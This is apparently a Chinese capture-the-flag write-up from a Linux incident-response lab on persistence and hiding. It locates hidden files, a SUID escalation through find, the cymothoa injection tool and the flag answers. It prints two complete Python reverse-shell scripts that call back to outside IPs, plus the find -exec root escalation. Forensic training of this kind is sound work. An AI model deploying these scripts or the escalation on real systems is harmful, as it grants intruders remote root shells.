第三章权限维持-linux权限维持-隐藏#

1
1.黑客隐藏的隐藏的文件 完整路径md5
2
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4
4.黑客尝试注入恶意代码的工具完整路径md5
5
5.使用命令运行 ./x.xx 执行该文件  将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.黑客隐藏的隐藏的文件完整路径md5#

1
find / -type f -name ".*" 2>/dev/null | grep -v "^\/sys\/" // 查找隐藏文件
2
find / -type d -name ".*" 2>/dev/null // 查找隐藏目录

看到/tmp/.temp/libprocesshider/1.py

1
#!/usr/bin/python3
2

3
import socket,subprocess,os,sys, time
4

5
pidrg = os.fork()
6
if pidrg > 0:
7
        sys.exit(0)
8

9
os.chdir("/")
10
os.setsid()
11
os.umask(0)
12
drgpid = os.fork()
13
if drgpid > 0:
14
        sys.exit(0)
15

16
while 1:
17
        try:
18
                sys.stdout.flush()
19
                sys.stderr.flush()
20
                fdreg = open("/dev/null", "w")
21
                sys.stdout = fdreg
22
                sys.stderr = fdreg
23
                sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
24
                sdregs.connect(("114.114.114.121",9999))
25
                os.dup2(sdregs.fileno(),0)
26
                os.dup2(sdregs.fileno(),1)
27
                os.dup2(sdregs.fileno(),2)
28
                p=subprocess.call(["/bin/bash","-i"])
29
                sdregs.close()
30
        except Exception:
31
                pass
32
        time.sleep(2)
33

34
flag{109ccb5768c70638e24fb46ee7957e37}

其中shell.py也是反弹shell

1
#!/usr/bin/python3
2
from os import dup2
3
from subprocess import run
4
import socket
5
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
6
s.connect(("172.16.10.7",2220))
7
dup2(s.fileno(),0)
8
dup2(s.fileno(),1)
9
dup2(s.fileno(),2)
10
run(["/bin/bash","-i"])

2.黑客隐藏的文件反弹shell的ip+端口 {ip}#

在1.py里面有个反弹shell ip

1
flag{114.114.114.121:9999}

3.黑客提权所用的命令完整路径的md5 flag{md5}#

1
find / -type f -perm -4000 2>/dev/null // 查找设置了suid权限的程序
2
或
3
find / -type f -u=s -4000 2>/dev/null // 查找设置了suid权限的程序
4
两者等价

其中

1
root@xuanji:/tmp/.temp/libprocesshider# find / -perm -u=s -type f 2>/dev/null
2
/bin/mount
3
/bin/ping
4
/bin/ping6
5
/bin/su
6
/bin/umount
7
/usr/bin/chfn
8
/usr/bin/chsh
9
/usr/bin/find
10
/usr/bin/gpasswd
11
/usr/bin/newgrp
12
/usr/bin/passwd
13
/usr/bin/sudo
14
/usr/lib/eject/dmcrypt-get-device
15
/usr/lib/openssh/ssh-keysign

有个find

切换到ctf用户尝试suid提权

1
find xx -exec "whoami" \;
2

3
root@xuanji:/tmp# find -exec "whoami" \;
4
root
5

6
flag{7fd5884f493f4aaf96abee286ee04120}

4.黑客尝试注入恶意代码的工具完整路径md5#

刚刚查找隐藏目录有个/opt/.cymothoa-1-beta

这是个注入工具

查找文件

1
root@xuanji:/opt/.cymothoa-1-beta# ls -l
2
total 564
3
-rw-r--r--. 1 ctf  1000    137 May 24  2011 Makefile
4
-rwxr-xr-x. 1 root root  13714 Aug  3  2023 bgrep
5
-rw-r--r--. 1 root root   4357 May  5  2011 bgrep.c
6
-rw-------. 1 root root 421888 Aug  3  2023 core
7
-rwxr-xr-x. 1 root root  30569 Aug  3  2023 cymothoa
8
-rw-r--r--. 1 ctf  1000  11348 Jul 27  2011 cymothoa.c
9
-rw-r--r--. 1 ctf  1000   5009 Jul 27  2011 cymothoa.h
10
-rwxr-xr-x. 1 root root   1229 May  5  2011 hexdump_to_cstring.pl
11
drwxr-xr-x. 2 root root  16384 Jul 27  2011 payloads
12
-rw-r--r--. 1 ctf  1000  15822 Jul 27  2011 payloads.h
13
-rw-r--r--. 1 ctf  1000   5011 May 24  2011 personalization.h
14
-rwxr-xr-x. 1 root root    964 May 24  2011 syscall_code.pl
15
-rw-r--r--. 1 root root   4995 May 24  2011 syscalls.txt
16
-rwxr-xr-x. 1 root root   9181 Aug  3  2023 udp_server
17
-rw-r--r--. 1 root root   1345 May 24  2011 udp_server.c
18

19
/opt/.cymothoa-1-beta/cymothoa
20
flag{087c267368ece4fcf422ff733b51aed9}

5.使用命令运行 ./x.xx 执行该文件将查询的 Exec****** 值作为flag提交 flag{/xxx/xxx/xxx}#

执行后查看网络连接

1
python3 /tmp/.temp/libprocesshider/1.py
2
ss -antp
3

4
root@xuanji:/tmp/.temp/libprocesshider# ss -antp
5
State       Recv-Q Send-Q                                                      Local Address:Port                                                        Peer Address:Port
6
LISTEN      0      50                                                              127.0.0.1:3306                                                                   *:*
7
LISTEN      0      128                                                                     *:22                                                                     *:*      users:(("sshd",10,3))
8
LISTEN      0      511                                                                     *:80                                                                     *:*      users:(("apache2",11,3))
9
SYN-SENT    0      1                                                           10.244.32.238:41330                                                    114.114.114.121:9999   users:(("python3",857,5))
10
ESTAB       0      0                                                           10.244.32.238:22                                                            10.244.0.1:11988  users:(("sshd",393,3))
11
SYN-SENT    0      1                                                           10.244.32.238:49476                                                    114.114.114.121:9999   users:(("python3",862,3))
12
LISTEN      0      128                                                                    :::22                                                                    :::*      users:(("sshd",10,4))

1
root@xuanji:/tmp/.temp/libprocesshider# cat /proc/857/cmdline
2
python3/tmp/.temp/libprocesshider/1.py
3

4
ls -l /usr/bin/python3
5
lrwxrwxrwx. 1 root root 9 Mar 23  2014 /usr/bin/python3 -> python3.4
6
这里是l软链接
7

8
which python3.4
9
/usr/bin/python3.4
10

11
flag{/usr/bin/python3.4}